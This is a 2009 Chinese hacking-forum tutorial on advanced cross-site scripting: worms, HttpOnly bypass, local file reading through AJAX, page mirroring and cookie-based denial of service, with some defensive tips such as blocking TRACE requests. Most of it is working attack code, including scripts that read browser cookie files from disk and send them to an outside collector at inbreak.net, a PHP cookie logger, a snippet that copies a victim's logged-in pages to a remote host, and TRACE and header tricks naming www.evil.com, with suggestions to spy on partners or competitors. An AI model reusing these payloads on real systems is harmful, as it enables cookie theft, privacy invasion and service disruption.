XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
* n! e' `" B7 Phttp://bbs.tian6.com/thread-12711-1-1.html
0 W" ~' p( u7 X$ @转帖请保留版权
  v3 W6 o2 f9 e% v( W


-------------------------------------------前言---------------------------------------------------------


$ r! s5 \- b. _+ y" T本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


- R' {9 k, Z8 O# ^" |3 B如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
6 ?# I: G& u5 U) `http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
$ W) \8 |6 @$ `( O/ s, U) W9 ]http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

/ _8 c0 [; Z( Y. ~

# y8 q$ n/ U, G* W+ ~# b. Y: F( b
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
" Z& U9 D8 c: |( D
0 u. Q- F, u5 i8 ]% o希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
" p8 \1 N: }4 a
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
9 Q$ H, z1 v9 z* |1 j
) y& H# C$ {6 ?( [" i: W5 |Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.
6 T9 G$ E3 }6 M1 w& K7 \7 p
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
5 ]9 g8 a. c8 m- R# [
..........
. m; b; s7 y( I' ?1 R, h" u复制代码------------------------------------------介绍-------------------------------------------------------------
9 F* K# x; ?8 n( g3 d
* |. U0 n2 O' E+ X什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

5 U+ \- x- W; v% t: }
" k/ N7 I3 q; ~! [
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

0 J# [$ T5 u( S& @9 z# {" G3 Y
. ]& ~$ A+ H$ T/ V3 }4 u' H( m
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
* K% D% g; ^0 I我们在这里重点探讨以下几个问题:

0 t' [1 ~2 T2 K: a- W1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
& y* Z% B, p0 R2 f7 Q+ g  K% L4 l# s
0 q! D: w$ v& o5 x% s' W% P1 {3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

% A: ?8 x0 a, Q* Z1 f4        XSS漏洞在输出和输入两个方面怎么才能避免.
) r9 x9 H' v2 C3 s4 j$ _: b

. M7 G$ U3 N9 }- B, G
------------------------------------------研究正题----------------------------------------------------------


# [6 V" n4 w% R4 f
, \: g7 f5 Y) g+ i' C通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
5 k& C& S$ c( _. P, R复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
. Y  L- S2 p% d2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
) v! J* C7 M: e$ X/ s1 e3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
7 E6 Z4 \3 T% b$ h: p3 ]
1 i* c" D/ _* w: M3 V; ?
3 p: y9 q+ F/ m) w$ `, j

7 k' m; H" Q3 H9 q  m. [
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
8 t3 r$ U, B! Y+ m
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
9 c1 |$ r6 |7 l- P
. j2 f5 [7 J" g. V1 p8 R$ |

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
# u" p" f' ^: y5 u

( _4 j4 |8 j2 I. W5 x% s
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。


" p2 l1 s7 g( |
/ h" m0 t( ]/ G  C) x    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
. M( w8 O5 z* T! ]) v' {
    function $(x){return document.getElementById(x)}


$ G+ Q" l7 }6 H) \1 P9 T  a
: ]# Y( u0 P7 E4 V6 q4 C/ D9 M/ \    function ajax_obj(){

    var request = false;
) m( s6 W) R! U/ f' r+ \! D
; ^0 a3 K! I1 g    if(window.XMLHttpRequest) {
& ^9 m" {2 {* G# |2 b. [9 _
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


+ C, t1 k4 h: y* |8 w- n
0 f$ }4 y) U' V0 j, R% {    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

4 T: p3 X4 @7 n; ~  w" F    for(var i=0; i<versions.length; i++) {

( q" V' d2 [& D2 y, a    try {
4 q2 v3 u7 a; Z, p1 y7 S* t+ g/ x
' k  G2 e, ^4 w7 o. W/ u% Q    request = new ActiveXObject(versions);
+ Q9 E. c/ d4 y7 I0 Q
" }1 [# d9 }  r( R6 F' M& z0 V    } catch(e) {}
8 d' k, Q; }% N. z+ k
    }
- S) X0 g# r( I& V
    }

8 h4 q) l3 t1 I' l$ A% m) Z    return request;

    }

) ?  `7 x3 [' m* z) t    var _x = ajax_obj();
; ~8 ~  I( R; Y4 r' ^$ Q
    function _7or3(_m,action,argv){
) q& x6 |2 |1 l; x) V3 W
8 C2 v# i6 R! J2 g6 o4 k    _x.open(_m,action,false);
2 F$ m% c7 F3 V9 l, A* }
. h- x1 X7 k: K    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  c1 L& x4 j% B; `* \
    _x.send(argv);
& N* f: S9 K. y# w* X. l
    return _x.responseText;

    }
5 c  w2 X, n, n  H; u
) ~7 k/ B( z& t4 d# E* a/ k
; ~" Z' i- @, n( E* m+ c! x& o9 d
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);



( l8 D/ G9 E& z% b& n4 k4 l    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}

6 ^( m1 t+ \! H" [2 M7 [
6 |9 z$ l. w  q( N1 ^
# U" z# ~+ [6 D1 m6 M    function ajax_obj(){
# t; ]: w: Y6 k* e
    var request = false;

    if(window.XMLHttpRequest) {
% m7 M2 [# x9 M+ A/ s& `$ p
1 d  R- ]+ O* y9 \* ^: C9 q% l    request = new XMLHttpRequest();
$ R0 g) r4 N  D5 i1 L6 B: X5 i
. b" ^$ u1 i0 o2 X! T; p. a    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


8 |# I" N# S7 Y! v) o7 [+ N
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
7 V% G4 t! z3 P) ~8 N& T; v
    for(var i=0; i<versions.length; i++) {
+ y! V8 Z2 u. u- W! _+ i* Z" r
    try {
, I3 \) d- h+ G1 \3 e* r' V5 a
2 L* b! |" |3 Q" D( X    request = new ActiveXObject(versions);

0 Y7 _9 \! _% i2 R7 k' c* z4 L  u    } catch(e) {}

    }

  R0 W/ ~- H+ v1 A6 [6 K    }
+ R' r. w( n0 c
( ~9 K* c! W- M" u4 q    return request;

: k- g2 O+ A! Y% Z# e, Q2 y    }

    var _x = ajax_obj();
8 B7 Q( D) T1 E9 h! j2 s9 u1 ]1 s
8 x7 a8 e5 B9 x5 o6 @) M    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
' ?0 F% V, f/ [5 d6 k8 J. N
) p( [3 d9 R. i    _x.send(argv);
. Z) U5 z9 _9 j7 I
: O* w2 l, u# j; k    return _x.responseText;
% b5 f, G8 ~5 w) K1 Q/ z
    }



* ?5 |% |6 i. Z& C    var txt=_7or3("GET","1/11.txt",null);
1 R" p$ s  Z% _6 R+ L! O
    alert(txt);

; D0 J* D8 O7 F+ e

  R: i8 C5 }2 `) E0 \    </script>
  B5 T6 I4 d* c' U# s复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”


2 r$ r" h$ K4 B& e
# Q- l. d! \4 D: h5 T# vChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
8 q' c8 E2 P$ S5 `9 h* j
# Z, E9 E9 r5 w* p' G
$ Y6 t( u3 c; V& P! p
<?   
1 u! t* ]7 z- D  R3 j& X, d
1 }) @* G5 |6 E  Q/*  
: t; p( ?4 t. [
, C8 W5 l# {3 T& C0 k8 l     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
" J/ x6 D; k, i1 m, q1 b5 ?$ D
     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
) O5 o, s) D) ]/ G& ]
* V+ v4 v5 }5 j1 h     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
5 s( z% D9 b# U0 G5 [1 h3 k# ]% [( }
% j) S! |, r5 B# G/ O; R9 N: E*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
, U4 U! R  d" Z- R5 }8 `! I* E) l! z8 Q0 p
header("Content-type: application/kxlzx");   
1 W! f( R" `2 \5 Q1 |: c
/ T& r1 v2 c, E" b" q7 b; x/*  

     set header, so just download html file,and open it at local.  

*/  

7 \; |' a/ j/ u! ^3 m- P3 U1 U?>   

: N7 J, \. l3 W" I<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
. w1 C/ W: f! C  n
     <input id="input" name="cookie" value="" type="hidden">   

! c8 I. y" o  i# S* G4 K. n* j</form>   

8 e* ?! Q$ G; P+ b7 D2 ~, q5 A% ~<script>   

# U7 v4 {5 R; P0 ^( zfunction doMyAjax(user)   
. x8 L* j% g! {6 W8 i$ D' n, B  s
+ a7 c. X' w! B3 W) M4 Z/ y{   

1 h6 z' W( n7 G0 X3 f8 `* Avar time = Math.random();   

' _; d: y/ L4 ^. T' _/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
3 ^$ m9 D/ ]3 t+ v) Y; G* q3 q/ S8 A
and so on...  

6 J% ~- ~' L2 Q- m! O! m*/  

0 N' a8 R1 Z8 a+ J+ Rvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
3 w0 A% q! {* V5 }5 G% Z, p) \/ J
   
% l/ `' c- Y/ @& l
4 Q+ T; n6 b0 D: p% c7 m0 H, TstartRequest(strPer);   
, g) l# P) F! `, m


}   

1 b! a# s9 N8 T- _/ Q3 X' q" ?. l4 e   
; x8 w9 f# I7 H) D8 a! d  ~: ~
function Enshellcode(txt)   

{   
& a( Y3 B+ `; w. E( }
4 J1 b; v0 s7 N+ rvar url=new String(txt);   
  f0 D. ?; Q2 D5 x
var i=0,l=0,k=0,curl="";   
2 }$ I5 {/ N8 ~! P* D+ m
l= url.length;   
, i+ B2 _* `; e% }- ~
for(;i<l;i++){   

/ H% l: l/ m* |" u) Qk=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
: k2 y' b+ L- n. `/ a$ L' \$ Q
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
2 ?' Z( n( K8 e  ?; L
" Y0 _# p" V) r$ g1 G% Wreturn curl;   

; h; s" a: g" t1 O3 N& `8 W" P}   
/ L! b! ^9 K( W1 C6 @7 B& q; b
   

   
2 n5 t, X9 F9 |* {) L+ l' u3 g; h
$ `8 N  E' ~! }5 u: G. \5 ?; pvar xmlHttp;   
/ x7 v/ f3 e- Z8 @- `
function createXMLHttp(){   
: w5 t4 `: B3 p. G/ r; s9 p) Z8 L7 {
8 D0 X+ W. J) F0 F7 y! ?  a8 l     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
( {! c$ q1 [: S7 A& |- f
" K* ^6 [* ]4 r/ {; ^     }   

9 W% p9 E, G) ~2 |1 q5 B     else if(window.ActiveXObject){   

: N( E3 d& F. A( DxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
  m9 W) Y6 \3 j' V$ L6 ^
     }   
) }, v% }8 k8 C" l  v" k; J* T
) b- S$ J4 [+ U6 O, r$ h+ n6 K}   

   
* r0 M& d  }  E1 @; J! B
function startRequest(doUrl){   
0 s' i- p: `$ N: \! L
. F; N/ [. [4 ~   

     createXMLHttp();   
4 k* K3 S5 H, j6 A
8 k. ~3 N/ W7 a7 p! U
+ p6 J- r5 L4 k3 i8 }) T
     xmlHttp.onreadystatechange = handleStateChange;   
# N* a9 t7 u$ z6 {( d& g/ C

% h  k2 X) q* X% w
9 r5 z* ~* v7 a% I- D, Z     xmlHttp.open("GET", doUrl, true);   
% I+ V3 L+ W7 Q  A& J
) B" _  q2 K, e- X
4 w0 \/ Y3 [. b* A7 B' ?8 r7 `
     xmlHttp.send(null);   
/ }* D+ c/ R, j$ Q% @
: W( o. R$ L% C# y4 ^

9 L' g) I4 P  i  G: @) P

}   
4 c* G4 s' F% ]1 ^+ Q9 i( }% B7 P
   

function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   
6 m# y. C3 l( p- V  C
4 S8 d: u/ p6 K+ {# x     var strResponse = "";   

  Y) |" i$ {! K- T- `; g     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

) _5 `3 b" a: P0 K& C2 S- \# a0 b     }   
' r1 h4 Q  q3 O# e# L# u
8 ]: ]) }0 X" o3 a- U0 m1 d" V}   

   

3 u  w. r3 P* w. g3 }   
) h" ?5 a* R6 M& h; T
% m' a# G- g+ O2 z, Ffunction framekxlzxPost(text)   
. r) q6 U5 C+ ^: `# g
( R( F/ c, ]) C/ m, f6 F7 \{   

     document.getElementById("input").value = Enshellcode(text);   
' ?0 y2 U2 ^. l9 D* @, s0 f1 @
% b7 i3 W/ S1 m( Y1 y: E5 o: t     document.getElementById("form").submit();   

}   

   

) d& o: v, Z2 R# S% o6 o7 pdoMyAjax("administrator");   
, c5 o' O; D* Y  @* t& w0 Z7 i
   

7 f0 M6 D( T& T/ K) X</script>
8 a* B- e0 r. `9 b. H复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  
; \) E; O; \' W$ G! V
4 h1 Q. N/ z4 T8 vfunction createXMLHttp(){  
9 F- _, G; [* s  b5 H7 e$ t
9 N' l- O5 D" F9 y$ P" h     if(window.XMLHttpRequest){  
. e6 T# a5 G" f
; x) d2 Z. H1 \9 x0 ^2 N" O         xmlHttp = new XMLHttpRequest();         

: D' ?6 z: X) Z1 s' K" c# }% K     }  
* d1 m( e3 @6 _$ b* `% k7 O( E* p
8 b8 v( w4 W' |5 T( f# H     else if(window.ActiveXObject){  
5 W+ Q1 a( P8 Q
# {( O) P! N0 i! O& H! r         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
2 {0 {% F3 Y5 n0 K8 w3 j
     }  

6 \6 {1 q1 I$ I" k3 `5 u1 y% w}  

# Q* x. n( {9 m2 G3 K5 T0 R   
( {& {3 G' d8 \( t# s# t7 j
! j4 A) B6 g, P6 a. _# b! Efunction startRequest(doUrl){  
( K7 D- D& f6 S: Y  t$ j+ _% b
- h- v' F9 ~& J" S0 `9 j           
; Y4 v- y3 |/ M% u0 ~: n( @- p
     createXMLHttp();  

      

     xmlHttp.onreadystatechange = handleStateChange;  

      

     xmlHttp.open("GET", doUrl, true);  

      
# I1 x1 l( R1 E5 O
+ J6 b& t. {% s/ y4 @( P     xmlHttp.send(null);  
$ X/ A$ v6 H: e$ ~
- M- e' |2 [, J      
% s/ X' @* M3 n: T, r( Y; e
      

. N. i5 n2 O2 q9 a" W* P}   
3 I7 ]+ E6 _5 b& a- Q
1 E7 ?; H: p/ f$ n, `   

2 ]! R7 @- w6 H# A3 x: `function handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  
  N& W1 b- @5 [
# Y& ~1 A) `3 o+ L% W. L. T4 M             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
( n: a2 _- |6 B" J# T
               

     }  
; f2 G8 {4 V5 L
}  

   

) ]( L  K- a1 zfunction doMyAjax(user,file)  

{  
% o; c. E6 P- y- Z5 C
         var time = Math.random();  
9 c, h6 @7 h% M! O! K+ B/ [
           
: a8 D4 v  ~, D+ K+ c0 G
( U5 y7 D# {4 F         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           
6 J0 K, H3 h3 s+ Y
         startRequest(strPer);  
. z+ G; c6 X6 e" y$ e
      

}  

   
+ L- A! w* Y" f# ?$ c, C9 o
2 e! P% b* s* b' F% J8 T8 gfunction framekxlzxPost(text)  

{  
  V" i4 j. v8 @8 \' J
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

4 H* O3 P$ c/ B7 K, c6 `) \* m% _     alert(/ok/);  
: X& H1 B7 d+ H7 b$ ]8 G5 @
6 o7 A# U' ~$ c& Y# p% p}  

   
8 d" D8 ^. g6 {/ M
8 {9 d2 r, w+ f5 U/ h6 }* s# QdoMyAjax('administrator','administrator@alibaba[1].txt');  

+ K! Y/ w3 Q3 ^+ a   

</script>
9 Z7 A/ |4 ^) J
7 F6 N$ a6 L  X) O; x

% v  b$ F- j' r3 J: z+ |, R% I1 q

a.php

- N5 c# o( q. e" z+ B1 E. c! w

<?php      

, I2 E4 N5 g& `$ Y  Q- y   

# B/ A: c. y& {1 p2 \$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
0 G1 K+ C! K4 I; c2 g
4 D. o5 `# T2 G( h& Z1 a% l' }# z  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
& p, Q- n& M+ D
0 F7 i! |& a. w# _$ u  ]5 `" g& @. N4 bfwrite($fp,$_GET["cookie"]);      

" M7 b; @) c# {( Q' x$ bfclose($fp);   

?>
0 V: g" V' ?% F) E  a1 u复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
9 q4 b8 `$ g- e  I, f. }
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
1 ?) J# G" R0 i( L
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
6 S" Q5 s- L, k/ i- ~
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
: @. B5 C6 }6 k/ M% O8 ?
: @( x/ P' B8 Y1 wfunction getURL(s) {

! ^7 k$ [$ K9 q# O$ R" S% e/ nvar image = new Image();
+ v0 w) e3 u! t6 a* R% `$ R
image.style.width = 0;

' ?& D! G+ l& A& w' Gimage.style.height = 0;
, D) }4 {2 B; _& [
image.src = s;

}
0 ?, Z: u% Z5 o, `1 M
9 J) q4 {& _1 g6 MgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
: [( r. g5 m/ |复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

2 K0 m2 [1 l/ i) }+ q) R% tvar metastr = "AAAAAAAAAA"; // 10 A

1 ~2 a" j- m6 gvar str = "";
1 U7 v( f( m+ O: O& O
0 @$ N5 X& F$ X$ M6 Owhile (str.length < 4000){
3 F9 t8 U7 X5 E( E
    str += metastr;

}

, J8 a  S" I2 m& x

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
2 A) K1 {- A0 }
</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
- Z8 t, N8 @8 z1 t复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

1 G! P3 S3 \# m+ a- J8 u4 i假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

1 A. R9 H! V& i) w. f3 f
4 U$ @! h8 k* m: E2 d3 a( c1 q
: t4 K' v+ T) F% e; ~$ m+ M


(III) Http only bypass 与 补救对策:
; `9 p0 L) H' g5 C, U
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
9 d6 [3 L0 |. |  V以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
& _, u) n7 S) G" }) F1 K" \5 l( G
function normalCookie() {

+ Y3 f6 d/ V( @  }* Z  N8 xdocument.cookie = "TheCookieName=CookieValue_httpOnly";

7 L% z, E8 Q. G/ jalert(document.cookie);
9 s( p$ R) m2 Q2 q
}

5 A' J! [+ ^( L$ o+ h3 G
$ c' ^5 B: e5 j4 S" I5 H4 {


1 n6 m8 \$ E/ M1 q3 j# U7 r' J: mfunction httpOnlyCookie() {
8 V4 _! f- o9 B% g1 _: n" N
5 g7 [& S& a& T; edocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
  y6 V! U- h* Y1 C+ ~
* q4 [) f! `0 b4 u; r& g& m& balert(document.cookie);}

( ]( w* ?% t5 e" W- J! B5 k1 o  \7 b
- C: f; e# A% Z- {; b% f- v
//-->

</script>

0 C# d4 m8 D2 S9 q; D& X+ }) q3 t

3 t0 N/ h) e! b( v8 W; ?<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
: g6 z9 Y8 ?  U/ R4 T2 [
  l7 u5 J% \) q& Z& ]<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
+ E' S5 a# d  Z: f$ n复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
: \& I1 i2 h) @" h

* y  e: h5 Y0 _# i: e2 u  c- K/ g
$ X+ S* k" d' s  v2 F, nvar request = false;

. [! Y  _: \) y        if(window.XMLHttpRequest) {

3 O' a. j7 r) S- w, u" M            request = new XMLHttpRequest();

            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');
. X* U! Y4 d/ I; B' ?# W
            }
- j  _9 D* R( T' x6 n+ L0 V
* e8 M. ]1 g2 j8 |% ~+ o5 s2 M        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- T2 _3 f! W3 C$ g
            for(var i=0; i<versions.length; i++) {
5 n- C. G" i+ I8 v
4 B% Z0 k: X$ [; ^# N+ ^                try {

                    request = new ActiveXObject(versions);
! I( S6 U3 \  I+ @* H
                } catch(e) {}
+ |% b" B7 T4 b; P! D: Q9 H
            }
. J, }" f" b0 R8 ~) F
        }

xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

/ L( w5 V( l* |5 \0 |xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

alert(xmlDoc);
! g9 w! w( Z; t+ r
- _, N* F) Y" A</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
/ u0 K' }. A/ \0 ~" B  ^+ j
1 T* H- M6 G& s. g; |var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
$ \) _2 v" ^" r& b/ S; J1 t& f( c/ j
XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

+ n1 B  g) \& ^6 t- \var resource=xmlHttp.responseText
6 G# p5 U" S! l" T3 h
8 W; J* _. S) ?1 n! k% {. ?resource.search(/cookies/);

......................

</script>
1 d6 z. J9 u& s8 @/ E5 n
( R! y3 y0 p6 S) C; @+ X" P" L
% ?9 i( R) f# z, }  Y: x4 R+ f5 {
: u0 R* u$ l4 p# t2 J

4 _8 C' K- w$ M9 ?如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
1 t+ r4 `! d! N( j7 D7 Y: K; Y
5 S0 M) K* s. w0 ?% ^) G/ g[code]
; A* \9 {3 x8 d$ V
  V* x1 i1 B% LRewriteEngine On
' Z& q6 F& S( m/ q
RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]


* Z5 [  E) {; G/ v9 ?+ [
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE
4 k6 \& V/ B9 G% f- W
7 W( t. W; k1 K5 L...

% @4 D/ d: c$ B+ L3 \) ~! W. T8 Bhttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
  H1 r( d% ?( U' t+ l8 a
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

& }8 [- u! L9 @  ZXmlHttp.open("GET","http://www.google.com",false);
" F1 f/ |" h# K5 K( I
; Q. Z2 e- w! F5 hXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
. R; |( ^5 J! \- V
</script>
/ e5 N9 U( V, ?6 J复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

